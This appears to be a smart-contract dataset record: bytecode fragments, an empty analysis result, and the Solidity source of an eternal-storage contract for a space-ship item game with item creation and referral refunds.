f16815260200191505060405180910390f35b6102cd6004803603604081101561029757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b85565b60405180821515815260200191505060405180910390f35b610327600480360360208110156102fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e16565b6040518082815260200191505060405180910390f35b610345610e5e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038557808201518184015260208101905061036a565b50505050905090810190601f1680156103b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61040c600480360360408110156103d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610efc565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561043a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111e9565b60405180821515815260200191505060405180910390f35b6104ea6004803603604081101561049e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113e5565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105965780601f1061056b57610100808354040283529160200191610596565b820191906000526020600020905b81548152906001019060200180831161057957829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561073e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f41646472657373206d757374206e6f74206265207a65726f2e0000000000000081525060200191505060405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107f2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5468657265206973206e6f20656e6f7567682062616c616e63652e000000000081525060200191505060405180910390fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806115ff6023913960400191505060405180910390fd5b610918826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461146c90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109ab826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461146c90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60065481565b600560009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c96576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d2a565b610ca9838261146c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ef45780601f10610ec957610100808354040283529160200191610ef4565b820191906000526020600020905b815481529060010190602001808311610ed757829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fa0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f41646472657373206d757374206e6f74206265207a65726f2e0000000000000081525060200191505060405180910390fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115611054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5468657265206973206e6f20656e6f7567682062616c616e63652e000000000081525060200191505060405180910390fd5b6110a5826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461146c90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611138826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061127a82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006114ae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061153e565b905092915050565b600080828401905083811015611534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008383111582906115eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156115b0578082015181840152602081019050611595565b50505050905090810190601f1680156115dd5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe5468657265206973206e6f20656e6f75676820616c6c6f7765642062616c616e63652ea2646970667358221220515b659b0285df45b087fa5cf3c9393dd372733206e571248a454c215a507a9364736f6c63430007060033
|
{"success": true, "error": null, "results": {}}
| 5,949 |
0x89eb6e29d81b98a4b88111e0d82924e6cbdc4ae4
|
pragma solidity 0.4.24;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ItemsInterfaceForEternalStorage {
function createShip(uint256 _itemId) public;
function createRadar(uint256 _itemId) public;
function createScanner(uint256 _itemId) public;
function createDroid(uint256 _itemId) public;
function createFuel(uint256 _itemId) public;
function createGenerator(uint256 _itemId) public;
function createEngine(uint256 _itemId) public;
function createGun(uint256 _itemId) public;
function createMicroModule(uint256 _itemId) public;
function createArtefact(uint256 _itemId) public;
function addItem(string _itemType) public returns(uint256);
}
contract EternalStorage {
ItemsInterfaceForEternalStorage private mI;
/* ------ STORAGE ------ */
mapping(bytes32 => uint256) private uintStorage;
mapping(bytes32 => uint256[]) private uintArrayStorage;
mapping(bytes32 => string) private stringStorage;
mapping(bytes32 => address) private addressStorage;
mapping(bytes32 => bytes) private bytesStorage;
mapping(bytes32 => bool) private boolStorage;
mapping(bytes32 => int256) private intStorage;
address private ownerOfStorage;
address private logicContractAddress;
mapping(address => uint256) private refunds;
constructor() public {
ownerOfStorage = msg.sender;
mI = ItemsInterfaceForEternalStorage(0xf1fd447DAc5AbEAba356cD0010Bac95daA37C265);
}
/* ------ MODIFIERS ------ */
modifier onlyOwnerOfStorage() {
require(msg.sender == ownerOfStorage);
_;
}
modifier onlyLogicContract() {
require(msg.sender == logicContractAddress);
_;
}
/* ------ INITIALISATION ------ */
function initWithShips() public onlyOwnerOfStorage {
createShip(1, 'Titanium Ranger Hull', 200, 2, 0.000018 ether);
createShip(2, 'Platinum Ranger Hull', 400, 4, 0.45 ether);
createShip(3, 'Adamantium Ranger Hull', 600, 7, 0.9 ether);
}
/* ------ REFERAL SYSTEM FUNCTIONS ------ */
function addReferrer(address _referrerWalletAddress, uint256 referrerPrize) public onlyLogicContract {
refunds[_referrerWalletAddress] += referrerPrize;
}
function widthdrawRefunds(address _owner) public onlyLogicContract returns(uint256) {
uint256 refund = refunds[_owner];
refunds[_owner] = 0;
return refund;
}
function checkRefundExistanceByOwner(address _owner) public view onlyLogicContract returns(uint256) {
return refunds[_owner];
}
/* ------ BUY OPERATIONS ------ */
function buyItem(uint256 _itemId, address _newOwner, string _itemTitle, string _itemTypeTitle, string _itemIdTitle) public onlyLogicContract returns(uint256) {
uintStorage[_b2(_itemTitle, _newOwner)]++;
uintArrayStorage[_b2(_itemTypeTitle, _newOwner)].push(_itemId);
uint256 newItemId = mI.addItem(_itemTitle);
uintArrayStorage[_b2(_itemIdTitle, _newOwner)].push(newItemId);
addressStorage[_b3(_itemTitle, newItemId)] = _newOwner;
return _itemId;
}
function destroyEternalStorage() public onlyOwnerOfStorage {
selfdestruct(0xd135377eB20666725D518c967F23e168045Ee11F);
}
/* ------ HASH FUNCTIONS ------ */
function _toString(address x) private pure returns (string) {
bytes memory b = new bytes(20);
for (uint i = 0; i < 20; i++)
b[i] = byte(uint8(uint(x) / (2**(8*(19 - i)))));
return string(b);
}
function _b1(string _itemType, uint256 _itemId, string _property) private pure returns(bytes32) {
return keccak256(abi.encodePacked(_itemType, _itemId, _property));
}
function _b2(string _itemType, address _newOwnerAddress) private pure returns(bytes32) {
return keccak256(abi.encodePacked(_toString(_newOwnerAddress), _itemType));
}
function _b3(string _itemType, uint256 _itemId) private pure returns(bytes32) {
return keccak256(abi.encodePacked(_itemType, _itemId));
}
/* ------ READING METHODS FOR USERS ITEMS ------ */
function getNumberOfItemsByTypeAndOwner(string _itemType, address _owner) public onlyLogicContract view returns(uint256) {
return uintStorage[_b2(_itemType, _owner)];
}
function getItemsByTypeAndOwner(string _itemTypeTitle, address _owner) public onlyLogicContract view returns(uint256[]) {
return uintArrayStorage[_b2(_itemTypeTitle, _owner)];
}
function getItemsIdsByTypeAndOwner(string _itemIdsTitle, address _owner) public onlyLogicContract view returns(uint256[]) {
return uintArrayStorage[_b2(_itemIdsTitle, _owner)];
}
function getOwnerByItemTypeAndId(string _itemType, uint256 _itemId) public onlyLogicContract view returns(address) {
return addressStorage[_b3(_itemType, _itemId)];
}
/* ------ READING METHODS FOR ALL ITEMS ------ */
function getItemPriceById(string _itemType, uint256 _itemId) public onlyLogicContract view returns(uint256) {
return uintStorage[_b1(_itemType, _itemId, "price")];
}
// Get Radar, Scanner, Droid, Fuel, Generator by ID
function getTypicalItemById(string _itemType, uint256 _itemId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256,
uint256
) {
return (
_itemId,
stringStorage[_b1(_itemType, _itemId, "name")],
uintStorage[_b1(_itemType, _itemId, "value")],
uintStorage[_b1(_itemType, _itemId, "price")],
uintStorage[_b1(_itemType, _itemId, "durability")]
);
}
function getShipById(uint256 _shipId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256,
uint256
) {
return (
_shipId,
stringStorage[_b1("ships", _shipId, "name")],
uintStorage[_b1("ships", _shipId, "hp")],
uintStorage[_b1("ships", _shipId, "block")],
uintStorage[_b1("ships", _shipId, "price")]
);
}
function getEngineById(uint256 _engineId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256,
uint256,
uint256
) {
return (
_engineId,
stringStorage[_b1("engines", _engineId, "name")],
uintStorage[_b1("engines", _engineId, "speed")],
uintStorage[_b1("engines", _engineId, "giper")],
uintStorage[_b1("engines", _engineId, "price")],
uintStorage[_b1("engines", _engineId, "durability")]
);
}
function getGunByIdPart1(uint256 _gunId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256
) {
return (
_gunId,
stringStorage[_b1("guns", _gunId, "name")],
uintStorage[_b1("guns", _gunId, "min")],
uintStorage[_b1("guns", _gunId, "max")]
);
}
function getGunByIdPart2(uint256 _gunId) public onlyLogicContract view returns(
uint256,
uint256,
uint256,
uint256,
uint256
) {
return (
uintStorage[_b1("guns", _gunId, "radius")],
uintStorage[_b1("guns", _gunId, "recharge")],
uintStorage[_b1("guns", _gunId, "ability")],
uintStorage[_b1("guns", _gunId, "price")],
uintStorage[_b1("guns", _gunId, "durability")]
);
}
function getMicroModuleByIdPart1(uint256 _microModuleId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256
) {
return (
_microModuleId,
stringStorage[_b1("microModules", _microModuleId, "name")],
uintStorage[_b1("microModules", _microModuleId, "itemType")],
uintStorage[_b1("microModules", _microModuleId, "bonusType")]
);
}
function getMicroModuleByIdPart2(uint256 _microModuleId) public onlyLogicContract view returns(
uint256,
uint256,
uint256
) {
return (
uintStorage[_b1("microModules", _microModuleId, "bonus")],
uintStorage[_b1("microModules", _microModuleId, "level")],
uintStorage[_b1("microModules", _microModuleId, "price")]
);
}
function getArtefactById(uint256 _artefactId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256,
uint256
) {
return (
_artefactId,
stringStorage[_b1("artefacts", _artefactId, "name")],
uintStorage[_b1("artefacts", _artefactId, "itemType")],
uintStorage[_b1("artefacts", _artefactId, "bonusType")],
uintStorage[_b1("artefacts", _artefactId, "bonus")]
);
}
/* ------ DEV CREATION METHODS ------ */
// Ships
function createShip(uint256 _shipId, string _name, uint256 _hp, uint256 _block, uint256 _price) public onlyOwnerOfStorage {
mI.createShip(_shipId);
stringStorage[_b1("ships", _shipId, "name")] = _name;
uintStorage[_b1("ships", _shipId, "hp")] = _hp;
uintStorage[_b1("ships", _shipId, "block")] = _block;
uintStorage[_b1("ships", _shipId, "price")] = _price;
}
// update data for an item by ID
function _update(string _itemType, uint256 _itemId, string _name, uint256 _value, uint256 _price, uint256 _durability) private {
stringStorage[_b1(_itemType, _itemId, "name")] = _name;
uintStorage[_b1(_itemType, _itemId, "value")] = _value;
uintStorage[_b1(_itemType, _itemId, "price")] = _price;
uintStorage[_b1(_itemType, _itemId, "durability")] = _durability;
}
// Radars
function createRadar(uint256 _radarId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createRadar(_radarId);
_update("radars", _radarId, _name, _value, _price, _durability);
}
// Scanners
function createScanner(uint256 _scannerId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createScanner(_scannerId);
_update("scanners", _scannerId, _name, _value, _price, _durability);
}
// Droids
function createDroid(uint256 _droidId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createDroid(_droidId);
_update("droids", _droidId, _name, _value, _price, _durability);
}
// Fuels
function createFuel(uint256 _fuelId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createFuel(_fuelId);
_update("fuels", _fuelId, _name, _value, _price, _durability);
}
// Generators
function createGenerator(uint256 _generatorId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createGenerator(_generatorId);
_update("generators", _generatorId, _name, _value, _price, _durability);
}
// Engines
function createEngine(uint256 _engineId, string _name, uint256 _speed, uint256 _giper, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createEngine(_engineId);
stringStorage[_b1("engines", _engineId, "name")] = _name;
uintStorage[_b1("engines", _engineId, "speed")] = _speed;
uintStorage[_b1("engines", _engineId, "giper")] = _giper;
uintStorage[_b1("engines", _engineId, "price")] = _price;
uintStorage[_b1("engines", _engineId, "durability")] = _durability;
}
// Guns
function createGun(uint256 _gunId, string _name, uint256 _min, uint256 _max, uint256 _radius, uint256 _recharge, uint256 _ability, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createGun(_gunId);
stringStorage[_b1("guns", _gunId, "name")] = _name;
uintStorage[_b1("guns", _gunId, "min")] = _min;
uintStorage[_b1("guns", _gunId, "max")] = _max;
uintStorage[_b1("guns", _gunId, "radius")] = _radius;
uintStorage[_b1("guns", _gunId, "recharge")] = _recharge;
uintStorage[_b1("guns", _gunId, "ability")] = _ability;
uintStorage[_b1("guns", _gunId, "price")] = _price;
uintStorage[_b1("guns", _gunId, "durability")] = _durability;
}
// Micro modules
function createMicroModule(uint256 _microModuleId, string _name, uint256 _itemType, uint256 _bonusType, uint256 _bonus, uint256 _level, uint256 _price) public onlyOwnerOfStorage {
mI.createMicroModule(_microModuleId);
stringStorage[_b1("microModules", _microModuleId, "name")] = _name;
uintStorage[_b1("microModules", _microModuleId, "itemType")] = _itemType;
uintStorage[_b1("microModules", _microModuleId, "bonusType")] = _bonusType;
uintStorage[_b1("microModules", _microModuleId, "bonus")] = _bonus;
uintStorage[_b1("microModules", _microModuleId, "level")] = _level;
uintStorage[_b1("microModules", _microModuleId, "price")] = _price;
}
// Artefacts
function createArtefact(uint256 _artefactId, string _name, uint256 _itemType, uint256 _bonusType, uint256 _bonus) public onlyOwnerOfStorage {
mI.createArtefact(_artefactId);
stringStorage[_b1("artefacts", _artefactId, "name")] = _name;
uintStorage[_b1("artefacts", _artefactId, "itemType")] = _itemType;
uintStorage[_b1("artefacts", _artefactId, "bonusType")] = _bonusType;
uintStorage[_b1("artefacts", _artefactId, "bonus")] = _bonus;
}
/* ------ DEV FUNCTIONS ------ */
function setNewPriceToItem(string _itemType, uint256 _itemTypeId, uint256 _newPrice) public onlyLogicContract {
uintStorage[_b1(_itemType, _itemTypeId, "price")] = _newPrice;
}
/* ------ CHANGE OWNERSHIP OF STORAGE ------ */
function transferOwnershipOfStorage(address _newOwnerOfStorage) public onlyOwnerOfStorage {
_transferOwnershipOfStorage(_newOwnerOfStorage);
}
function _transferOwnershipOfStorage(address _newOwnerOfStorage) private {
require(_newOwnerOfStorage != address(0));
ownerOfStorage = _newOwnerOfStorage;
}
/* ------ CHANGE LOGIC CONTRACT ADDRESS ------ */
function changeLogicContractAddress(address _newLogicContractAddress) public onlyOwnerOfStorage {
_changeLogicContractAddress(_newLogicContractAddress);
}
function _changeLogicContractAddress(address _newLogicContractAddress) private {
require(_newLogicContractAddress != address(0));
logicContractAddress = _newLogicContractAddress;
}
}
|
0x608060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063160dc0ac1461019b5780631a67456e146102ce5780631c5a5bc41461036b57806321ab3074146103fc578063294a65111461043f5780632eed00791461049657806332581fb01461053b5780633522e868146105fd578063371ab7021461064057806339a45a5c1461068f5780633dedc36e1461074857806349f307a6146107a55780635b633cf2146108225780636974c632146109005780636bea8215146109875780636ddd07f814610a1857806371752d0614610ae157806374d8b26814610b9457806376775c1014610c4f57806379bcae2a14610c9c578063a415a93e14610d2d578063b0f9ba7414610d44578063b3cea9e214610d5b578063c91e4cc814610dec578063d744175314610eca578063d746a38b14610fd2578063e023094f1461108d578063e185a8901461111e578063e955980314611175578063f038a96914611237578063fdf62f05146112c8578063ff23c7f214611363575b600080fd5b3480156101a757600080fd5b506102b860048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506113f4565b6040518082815260200191505060405180910390f35b3480156102da57600080fd5b50610355600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116c5565b6040518082815260200191505060405180910390f35b34801561037757600080fd5b506103fa60048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291908035906020019092919080359060200190929190505050611750565b005b34801561040857600080fd5b5061043d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611abb565b005b34801561044b57600080fd5b50610480600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b23565b6040518082815260200191505060405180910390f35b3480156104a257600080fd5b5061053960048036038101908080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611bc8565b005b34801561054757600080fd5b506105666004803603810190808035906020019092919050505061205d565b6040518086815260200180602001858152602001848152602001838152602001828103825286818151815260200191508051906020019080838360005b838110156105be5780820151818401526020810190506105a3565b50505050905090810190601f1680156105eb5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b34801561060957600080fd5b5061063e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123b1565b005b34801561064c57600080fd5b5061066b60048036038101908080359060200190929190505050612419565b60405180848152602001838152602001828152602001935050505060405180910390f35b34801561069b57600080fd5b5061074660048036038101908080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050612637565b005b34801561075457600080fd5b5061077360048036038101908080359060200190929190505050612bf6565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b3480156107b157600080fd5b50610820600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192908035906020019092919080359060200190929190505050612f3d565b005b34801561082e57600080fd5b506108a9600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ffd565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156108ec5780820151818401526020810190506108d1565b505050509050019250505060405180910390f35b34801561090c57600080fd5b50610971600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291905050506130d6565b6040518082815260200191505060405180910390f35b34801561099357600080fd5b50610a1660048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291908035906020019092919080359060200190929190505050613197565b005b348015610a2457600080fd5b50610a43600480360381019080803590602001909291905050506132e5565b6040518087815260200180602001868152602001858152602001848152602001838152602001828103825287818151815260200191508051906020019080838360005b83811015610aa1578082015181840152602081019050610a86565b50505050905090810190601f168015610ace5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b348015610aed57600080fd5b50610b52600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291905050506136cc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ba057600080fd5b50610bbf60048036038101908080359060200190929190505050613777565b6040518085815260200180602001848152602001838152602001828103825285818151815260200191508051906020019080838360005b83811015610c11578082015181840152602081019050610bf6565b50505050905090810190601f168015610c3e5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b348015610c5b57600080fd5b50610c9a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613a35565b005b348015610ca857600080fd5b50610d2b60048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291908035906020019092919080359060200190929190505050613ae2565b005b348015610d3957600080fd5b50610d42613c30565b005b348015610d5057600080fd5b50610d59613d75565b005b348015610d6757600080fd5b50610dea60048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291908035906020019092919080359060200190929190505050613dfe565b005b348015610df857600080fd5b50610e73600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613f4c565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610eb6578082015181840152602081019050610e9b565b505050509050019250505060405180910390f35b348015610ed657600080fd5b50610f3b600480360381019080803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190505050614025565b6040518086815260200180602001858152602001848152602001838152602001828103825286818151815260200191508051906020019080838360005b83811015610f93578082015181840152602081019050610f78565b50505050905090810190601f168015610fc05780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b348015610fde57600080fd5b50610ffd600480360381019080803590602001909291905050506142a6565b6040518085815260200180602001848152602001838152602001828103825285818151815260200191508051906020019080838360005b8381101561104f578082015181840152602081019050611034565b50505050905090810190601f16801561107c5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561109957600080fd5b5061111c60048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291908035906020019092919080359060200190929190505050614564565b005b34801561112a57600080fd5b5061115f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506146b2565b6040518082815260200191505060405180910390f35b34801561118157600080fd5b506111a0600480360381019080803590602001909291905050506147a1565b6040518086815260200180602001858152602001848152602001838152602001828103825286818151815260200191508051906020019080838360005b838110156111f85780820151818401526020810190506111dd565b50505050905090810190601f1680156112255780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b34801561124357600080fd5b506112c660048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291908035906020019092919080359060200190929190505050614af5565b005b3480156112d457600080fd5b5061136160048036038101908080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190803590602001909291908035906020019092919080359060200190929190505050614c43565b005b34801561136f57600080fd5b506113f260048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291908035906020019092919080359060200190929190505050615043565b005b600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561145357600080fd5b6001600061146187896153ae565b60001916600019168152602001908152602001600020600081548092919060010191905055506002600061149586896153ae565b6000